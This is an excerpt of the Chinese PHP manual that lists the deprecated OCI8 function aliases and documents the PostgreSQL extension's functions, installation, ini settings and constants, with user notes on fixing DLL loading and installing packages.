(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnsize — 别名 oci_field_size()

说明

别名 oci_field_size()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_field_type

  • ? ocicolumnsize
  • ocicolumntyperaw ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_field_type

ocicolumntype

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumntype — 别名 oci_field_type()

说明

别名 oci_field_type()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_field_type_raw

  • ? ocicolumntype
  • ocicommit ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_field_type_raw

ocicolumntyperaw

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumntyperaw — 别名 oci_field_type_raw()

说明

别名 oci_field_type_raw()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_commit

  • ? ocicolumntyperaw
  • ocidefinebyname ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_commit

ocicommit

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicommit — 别名 oci_commit()

说明

别名 oci_commit()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_define_by_name

  • ? ocicommit
  • ocierror ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_define_by_name

ocidefinebyname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocidefinebyname — 别名 oci_define_by_name()

说明

别名 oci_define_by_name()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_error

  • ? ocidefinebyname
  • ociexecute ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_error

ocierror

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocierror — 别名 oci_error()

说明

别名 oci_error()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_execute

  • ? ocierror
  • ocifetch ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_execute

ociexecute

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociexecute — 别名 oci_execute()

说明

别名 oci_execute()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_fetch

  • ? ociexecute
  • ocifetchinto ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_fetch

ocifetch

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetch — 别名 oci_fetch()

说明

别名 oci_fetch()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row

  • ? ocifetch
  • ocifetchstatement ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row

ocifetchinto

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetchinto — Obsolete variant of oci_fetch_array(), oci_fetch_object(), oci_fetch_assoc() and oci_fetch_row()

说明

Obsolete variant of oci_fetch_array(), oci_fetch_object(),
  oci_fetch_assoc() and
  oci_fetch_row()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_fetch_all

  • ? ocifetchinto
  • ocifreecollection ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_fetch_all

ocifetchstatement

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetchstatement — 别名 oci_fetch_all()

说明

别名 oci_fetch_all()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::free

  • ? ocifetchstatement
  • ocifreecursor ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::free

ocifreecollection

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreecollection — 别名 OCICollection::free()

说明

别名 OCICollection::free()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_free_statement

  • ? ocifreecollection
  • ocifreedesc ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_free_statement

ocifreecursor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreecursor — 别名 oci_free_statement()

说明

别名 oci_free_statement()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::free

  • ? ocifreecursor
  • ocifreestatement ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCILob::free

ocifreedesc

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreedesc — 别名 OCILob::free()

说明

别名 OCILob::free()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_free_statement

  • ? ocifreedesc
  • ociinternaldebug ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_free_statement

ocifreestatement

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreestatement — 别名 oci_free_statement()

说明

别名 oci_free_statement()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_internal_debug

  • ? ocifreestatement
  • ociloadlob ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_internal_debug

ociinternaldebug

(PHP 4, PHP 5, PHP 7, PECL OCI8 >= 1.0.0, PECL OCI8 <= 2.2.0)

ociinternaldebug — 别名 oci_internal_debug()

说明

别名 oci_internal_debug()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::load

  • ? ociinternaldebug
  • ocilogoff ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCILob::load

ociloadlob

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociloadlob — 别名 OCILob::load()

说明

别名 OCILob::load()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_close

  • ? ociloadlob
  • ocilogon ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_close

ocilogoff

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocilogoff — 别名 oci_close()

说明

别名 oci_close()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_connect

  • ? ocilogoff
  • ocinewcollection ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_connect

ocilogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocilogon — 别名 oci_connect()

说明

别名 oci_connect()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_new_collection

  • ? ocilogon
  • ocinewcursor ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_new_collection

ocinewcollection

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewcollection — 别名 oci_new_collection()

说明

别名 oci_new_collection()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_new_cursor

  • ? ocinewcollection
  • ocinewdescriptor ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_new_cursor

ocinewcursor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewcursor — 别名 oci_new_cursor()

说明

别名 oci_new_cursor()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_new_descriptor

  • ? ocinewcursor
  • ocinlogon ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_new_descriptor

ocinewdescriptor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewdescriptor — 别名 oci_new_descriptor()

说明

别名 oci_new_descriptor()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_new_connect

  • ? ocinewdescriptor
  • ocinumcols ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_new_connect

ocinlogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinlogon — 别名 oci_new_connect()

说明

别名 oci_new_connect()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_num_fields

  • ? ocinlogon
  • ociparse ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_num_fields

ocinumcols

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinumcols — 别名 oci_num_fields()

说明

别名 oci_num_fields()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_parse

  • ? ocinumcols
  • ociplogon ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_parse

ociparse

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociparse — 别名 oci_parse()

说明

别名 oci_parse()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_pconnect

  • ? ociparse
  • ociresult ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_pconnect

ociplogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociplogon — 别名 oci_pconnect()

说明

别名 oci_pconnect()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_result

  • ? ociplogon
  • ocirollback ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_result

ociresult

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociresult — 别名 oci_result()

说明

别名 oci_result()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_rollback

  • ? ociresult
  • ocirowcount ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_rollback

ocirollback

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocirollback — 别名 oci_rollback()

说明

别名 oci_rollback()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_num_rows

  • ? ocirollback
  • ocisavelob ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_num_rows

ocirowcount

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocirowcount — 别名 oci_num_rows()

说明

别名 oci_num_rows()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::save

  • ? ocirowcount
  • ocisavelobfile ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCILob::save

ocisavelob

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisavelob — 别名 OCILob::save()

说明

别名 OCILob::save()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::import

  • ? ocisavelob
  • ociserverversion ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCILob::import

ocisavelobfile

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisavelobfile — 别名 OCILob::import()

说明

别名 OCILob::import()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_server_version

  • ? ocisavelobfile
  • ocisetprefetch ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_server_version

ociserverversion

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociserverversion — 别名 oci_server_version()

说明

别名 oci_server_version()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_set_prefetch

  • ? ociserverversion
  • ocistatementtype ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_set_prefetch

ocisetprefetch

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisetprefetch — 别名 oci_set_prefetch()

说明

别名 oci_set_prefetch()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_statement_type

  • ? ocisetprefetch
  • ociwritelobtofile ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_statement_type

ocistatementtype

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocistatementtype — 别名 oci_statement_type()

说明

别名 oci_statement_type()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::export

  • ? ocistatementtype
  • ociwritetemporarylob ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCILob::export

ociwritelobtofile

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociwritelobtofile — 别名 OCILob::export()

说明

别名 OCILob::export()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::writeTemporary

  • ? ociwritelobtofile
  • PostgreSQL ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCILob::writeTemporary

ociwritetemporarylob

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 1.0)

ociwritetemporarylob — 别名 OCILob::writeTemporary()

说明

别名 OCILob::writeTemporary()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic usage
    • Basic usage
  • PostgreSQL 函数
    • pg_affected_rows — 返回受影响的记录数（元组）
    • pg_cancel_query — 取消异步查询
    • pg_client_encoding — 获取客户端编码
    • pg_close — 关闭 PostgreSQL 连接
    • pg_connect_poll — 对正在进行尝试进行异步的 PostgreSQL 连接轮询其状态。
    • pg_connect — 打开 PostgreSQL 连接
    • pg_connection_busy — 获取连接是否繁忙
    • pg_connection_reset — 重置连接（再次连接）
    • pg_connection_status — 获取连接状态
    • pg_consume_input — Reads input on the connection
    • pg_convert — 将关联的数组值转换为适合 SQL 语句的格式
    • pg_copy_from — 将数组中的记录插入到表
    • pg_copy_to — 将表复制到数组
    • pg_dbname — 获取数据库名称
    • pg_delete — 删除记录
    • pg_end_copy — 与 PostgreSQL 后端同步
    • pg_escape_bytea — 转义字符串以插入到 bytea 字段
    • pg_escape_identifier — Escape a identifier for insertion into a text field
    • pg_escape_literal — Escape a literal for insertion into a text field
    • pg_escape_string — 转义字符串以供查询
    • pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result
    • pg_fetch_all_columns — Fetches all rows in a particular result column as an array
    • pg_fetch_all — 从结果中获取所有行作为数组
    • pg_fetch_array — 获取一行作为数组
    • pg_fetch_assoc — 获取一行作为关联数组
    • pg_fetch_object — 获取一行作为对象
    • pg_fetch_result — 从结果实例返回值
    • pg_fetch_row — 提取一行作为枚举数组
    • pg_field_is_null — 测试字段是否为 SQL NULL
    • pg_field_name — 返回字段名
    • pg_field_num — 返回名为 field 的字段编号
    • pg_field_prtlen — 返回打印的长度
    • pg_field_size — 返回指定字段的内部存储大小
    • pg_field_table — Returns the name or oid of the tables field
    • pg_field_type_oid — Returns the type ID (OID) for the corresponding field number
    • pg_field_type — 返回相应字段编号的类型名称
    • pg_flush — 刷新链接中已处理的数据查询
    • pg_free_result — 释放查询结果占用的内存
    • pg_get_notify — 获取 SQL NOTIFY 消息
    • pg_get_pid — 获取后端的进程 ID
    • pg_get_result — 取得异步查询结果
    • pg_host — 返回和某连接关联的主机名
    • pg_insert — 将数组插入到表中
    • pg_last_error — 得到某连接的最后一条错误信息
    • pg_last_notice — 返回 PostgreSQL 服务器最新一条公告信息
    • pg_last_oid — 返回上一条记录的 oid
    • pg_lo_close — 关闭大对象
    • pg_lo_create — 新建大对象
    • pg_lo_export — 将大型对象导出到文件
    • pg_lo_import — 将文件导入为大型对象
    • pg_lo_open — 打开大对象
    • pg_lo_read_all — 读取整个大对象并直接发送到浏览器
    • pg_lo_read — 读取大对象
    • pg_lo_seek — 在大对象中寻找位置
    • pg_lo_tell — 返回当前大型对象的指针位置
    • pg_lo_truncate — Truncates a large object
    • pg_lo_unlink — 删除一个大型对象
    • pg_lo_write — 向大对象写入数据
    • pg_meta_data — 获得表的元数据
    • pg_num_fields — 返回结果中字段的数量
    • pg_num_rows — 返回结果中行的数量
    • pg_options — 获得和 connection 相关的选项
    • pg_parameter_status — Looks up a current parameter setting of the server
    • pg_pconnect — 打开一个持久的 PostgreSQL 连接
    • pg_ping — Ping 数据库连接
    • pg_port — 返回 connection 相关的端口号
    • pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion
    • pg_put_line — 向 PostgreSQL 后端发送以 NULL 字符结尾的字符串
    • pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text
    • pg_query — 执行查询
    • pg_result_error_field — Returns an individual field of an error report
    • pg_result_error — 获得跟 result 相关的错误信息
    • pg_result_seek — 在 result 实例中设定内部行偏移量
    • pg_result_status — 获得查询结果的状态
    • pg_select — 选择记录
    • pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)
    • pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion
    • pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s)
    • pg_send_query — 发送异步查询
    • pg_set_client_encoding — 设定客户端编码
    • pg_set_error_context_visibility — Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error
    • pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error and pg_result_error
    • pg_socket — Get a read only handle to the socket underlying a PostgreSQL connection
    • pg_trace — 启用 PostgreSQL 连接的追踪
    • pg_transaction_status — Returns the current in-transaction status of the server
    • pg_tty — 返回跟连接相关的 tty 名
    • pg_unescape_bytea — 反转义 bytea 类型的二进制数据
    • pg_untrace — 禁用 PostgreSQL 连接的追踪
    • pg_update — 更新表
    • pg_version — Returns an array with client, protocol and server version (when available)
  • PgSql\Connection — The PgSql\Connection class
  • PgSql\Result — The PgSql\Result class
  • PgSql\Lob — The PgSql\Lob class

User Contributed Notes

There are no user contributed notes for this page.


简介

PostgreSQL 数据库是开源产品，免费提供。Postgres 最初由加州大学伯克利分校计算机科学系开发，首创了许多对象关系概念，现在可以在一些商业数据库中使用。它提供 SQL92/SQL99 语言支持、事务、参照完整性、存储过程和可扩展类型（type extensibility）。PostgreSQL 是这个原始伯克利代码的开源后代。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

MIhail-Klr at gmx dot net 11-Jan-2015 11:14
This happened to me also with PHP 5.4.1
Copying the offending DLL everywhere didn't worket, and I don't have Postgres installed in the server, but also planned to use PHP against different Postgres versions, so the only solution I found that worked was to put in httpd.conf a line like this:

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

but refering to the libpq.dll that comes bundled with PHP, like this:

LoadFile "C:/php/libpq.dll"

After that it worked fine to me.

(c) https://stackoverflow.com/users/1373641/dayron-armas-pe?a
from: https://stackoverflow.com/questions/551734/php-not-loading-php-pgsql-dll-on-windows/10439560#10439560
nestor dot martinez at etb dot net dot co 22-Mar-2010 05:47
If you get a message like this:
"Php Startup: Unable to load dynamic library 'C:\php\ext\php_pgsql.dll"

1. In the Configuration File alter the order of the libraries "php_exif.dll" and "php_mbstring.dll", in such a way that is called first the library "php_mbstring.dll"

2. Copy all the libraries in the folder "bin" of your installation of PostgreSQL and paste them into the root folder of Windows

3. Uncomment the line "extension=php_pgsql.dll"
4. Now you should see on the page generated by "phpinfo()" section of PostgreSQL
some at domain dot name 29-Oct-2009 04:35
Another windows xp solution for "Unable to load dynamic library 'php_pgsql.dll' - The specified module could not be found."

Add the path of the postgres binaries to the system search-path:

Right click on "My Computer", select "properties", "advanced"-tab, "Environment variables"-button, "System variables"-section, select "path" and click "Edit" and add the path to the postgres binaries at the end, in my case it was "C:\Program Files\PostgreSQL\8.4\bin" and then restart the computer (or at least restart the apache/php processes)

Please note that the system-path can have several values, each separated by a semicolon ";".
emil at example dot com 07-Jan-2009 06:04
Unable to load dynamic library 'C:\\php\\ext\\php_pgsql.dll' - The specified module could not be found.

another solution:

copy libpq.dll/all files from zip (if you have php from installer)

add to httpd.conf:

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/PHP/"
Loadfile "C:\php\php5ts.dll"
Loadfile "C:\php\libpq.dll"
LoadModule php5_module "c:/PHP/php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

(in php.ini default: extension_dir ="c:\PHP\ext" )

if it doesn't work add c:\php (php path) to your windows path (and restart)

tested on php5.2.8 + apache2.2.3
kouber at php dot net 26-Nov-2008 05:01
If you get this error on Windows:

Unable to load dynamic library 'C:/php/ext\\php_pgsql.dll' - The specified module could not be found.

Try downloading the PostgreSQL binaries-no-install archive from http://www.postgresql.org/ftp/binary/v8.3.5/win32/ (replace 8.3.5 with the latest stable version) and copy these DLLs to C:/WINDOWS/system32/ :

comerr32.dll
gssapi32.dll
k5sprt32.dll
krb5_32.dll
libeay32.dll
libiconv2.dll
libintl3.dll
libpq.dll
ssleay32.dll


需求

要使用 PostgreSQL 支持，需要 PostgreSQL 6.5 或更高版本，PostgreSQL 8.0 或更高版本才能启用所有 PostgreSQL 模块功能。PostgreSQL 支持包含多字节字符编码的多种字符编码。有关 PostgreSQL 的当前版本和更多信息，请访问 » http://www.postgresql.org/ 和 » PostgreSQL 文档。

User Contributed Notes

There are no user contributed notes for this page.


安装

为启用 PostgreSQL 支持，编译 PHP 时需要 --with-pgsql[=DIR]。DIR 是 PostgreSQL 的基本安装目录，默认是 /usr/local/pgsql。如果共享对象模块可用，可以使用 php.ini 中的 extension 指令或者 dl() 函数加载 PostgreSQL 模块。

User Contributed Notes

sean at cockroachlabs dot com 02-Sep-2016 05:28
Starting with PHP 7, on Ubuntu (i.e., 16+), you can run:

`sudo apt-get install php-pgsql`
Anonymous 29-Aug-2016 09:14
for php 7, "sudo apt install php7.0-pgsql" worked for me
zonetejasmikel at yahoo dot com 07-Apr-2014 07:04
if you get
/pgsql.c:789: error: 'from' undeclared (first use in this function)
etc. compiling in linux its a typo in the define of pgsql.c file

change to this
#if !HAVE_PQESCAPE_CONN
#define PQescapeStringConn(conn, to, from, len, error) PQescapeString(to, from, len)
#endif
samuel+php dot net at dionne-riel dot com 13-Aug-2010 05:31
On PHP 5.3, you may encounter this error.
    Cannot create new link. Too many open links

I did with Archlinux. pgsql.so was active.

To resolve the issue, I had to active pdo.so and pdo_pgsql.so. Hope this helps!
Serjik 28-Aug-2009 07:54
On a Windows server, configured with Apache, adding the following line to httpd.conf to load libpq.dll can save you a lot of time :

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

Note that you will have to change your folder accordingly to the installation path and version of PostgreSQL you have installed. Also note that having Apache and PostgreSQL on the same server for production environments is not recommended.

Cheers,
Serjik
Anto Binish Kaspar 08-Jul-2009 04:39
An easy way to install in ubuntu(debain)
Just run " apt-get install php5-pgsql "
Simon 02-Mar-2009 08:59
Windows users should be mindful that since 5.2.6 it seems that the version of php_pgsql.dll supplied is dynamically linked and requires libpq.dll.

The version supplied in 5.2.5 is statically linked and does not have this dependency, if you cannot load the Postgres extension grab php_pgsql.dll from the 5.2.5 distribution


运行时配置

这些函数的行为受 php.ini 中的设置影响。

PostgreSQL 配置选项
名字 | 默认 | 可修改范围 | 更新日志
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM |
pgsql.ignore_notice | "0" | PHP_INI_ALL |
pgsql.log_notice | "0" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

pgsql.allow_persistent bool

是否允许持久的 Postgres 连接。

pgsql.max_persistent int

每个进程所能有的持久 Postgres 连接数目。

pgsql.max_links int

每个进程所能有的 Postgres 连接数目，包括持久连接。

pgsql.auto_reset_persistent int

检测用在 pg_pconnect() 上的中断了的持久连接。需要一些损耗。

pgsql.ignore_notice int

是否忽略 PostgreSQL 后端的通告。

pgsql.log_notice int

是否记录 PostgreSQL 后端的通告消息。要记录通告消息日志，PHP 指令 pgsql.ignore_notice 必须为 off。

User Contributed Notes

ewl at compressedtime dot com 10-Mar-2014 07:36
Does "per process" mean the entire server process? or each process id (for forked processes)?


资源类型

在 PHP 8.1.0 之前，PostgreSQL 模块中使用了两种资源类型。第一个是数据库连接的链接标识符，第二个是保存查询结果的资源。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

PGSQL_LIBPQ_VERSION (string)
仅包含数字和小数点的简短 libpq 版本号。
PGSQL_LIBPQ_VERSION_STR (string)
PHP 8.0.0 之前为包含编译信息的长 libpq 版本号。自 PHP 8.0.0 起，此值与 PGSQL_LIBPQ_VERSION 相同，并且弃用 PGSQL_LIBPQ_VERSION_STR。
PGSQL_ASSOC (int)
传递给 pg_fetch_array()。返回字段名和值的关联数组。
PGSQL_NUM (int)
传递给 pg_fetch_array()。返回字段编号和值的数字索引数组。
PGSQL_BOTH (int)
传递给 pg_fetch_array()。返回字段值数组，这些字段值既有数字索引（按字段编号）也有关联索引（按字段名称）。
PGSQL_CONNECT_FORCE_NEW (int)
传递给 pg_connect() 以强制创建新连接，而不是重新使用现有的相同连接。
PGSQL_CONNECT_ASYNC (int)
传递给 pg_connect() 以创建异步连接。
PGSQL_CONNECTION_AUTH_OK (int)
PGSQL_CONNECTION_AWAITING_RESPONSE (int)
PGSQL_CONNECTION_BAD (int)
由 pg_connection_status() 返回，表示数据库连接处于无效状态。
PGSQL_CONNECTION_MADE (int)
PGSQL_CONNECTION_OK (int)
由 pg_connection_status() 返回，表示数据库连接处于有效状态。
PGSQL_CONNECTION_SETENV (int)
PGSQL_CONNECTION_SSL_STARTUP (int)
PGSQL_CONNECTION_STARTED (int)
PGSQL_SEEK_SET (int)
传递给 pg_lo_seek()。寻找操作是从对象的开头开始的。
PGSQL_SEEK_CUR (int)
传递给 pg_lo_seek()。寻找操作是从当前位置开始的。
PGSQL_SEEK_END (int)
传递给 pg_lo_seek()。寻找操作是从对象的末尾开始。
PGSQL_EMPTY_QUERY (int)
由 pg_result_status() 返回。发送到服务器的字符串为空。
PGSQL_COMMAND_OK (int)
由 pg_result_status() 返回。成功完成命令不返回任何数据。
PGSQL_TUPLES_OK (int)
由 pg_result_status() 返回。成功完成一个返回数据的命令（例如 SELECT 或 SHOW）。
PGSQL_COPY_OUT (int)
由 pg_result_status() 返回。开始复制（从服务器）数据传输。
PGSQL_COPY_IN (int)
由 pg_result_status() 返回。开始复制（到服务器）数据传输。
PGSQL_BAD_RESPONSE (int)
由 pg_result_status() 返回。无法理解服务器的响应。
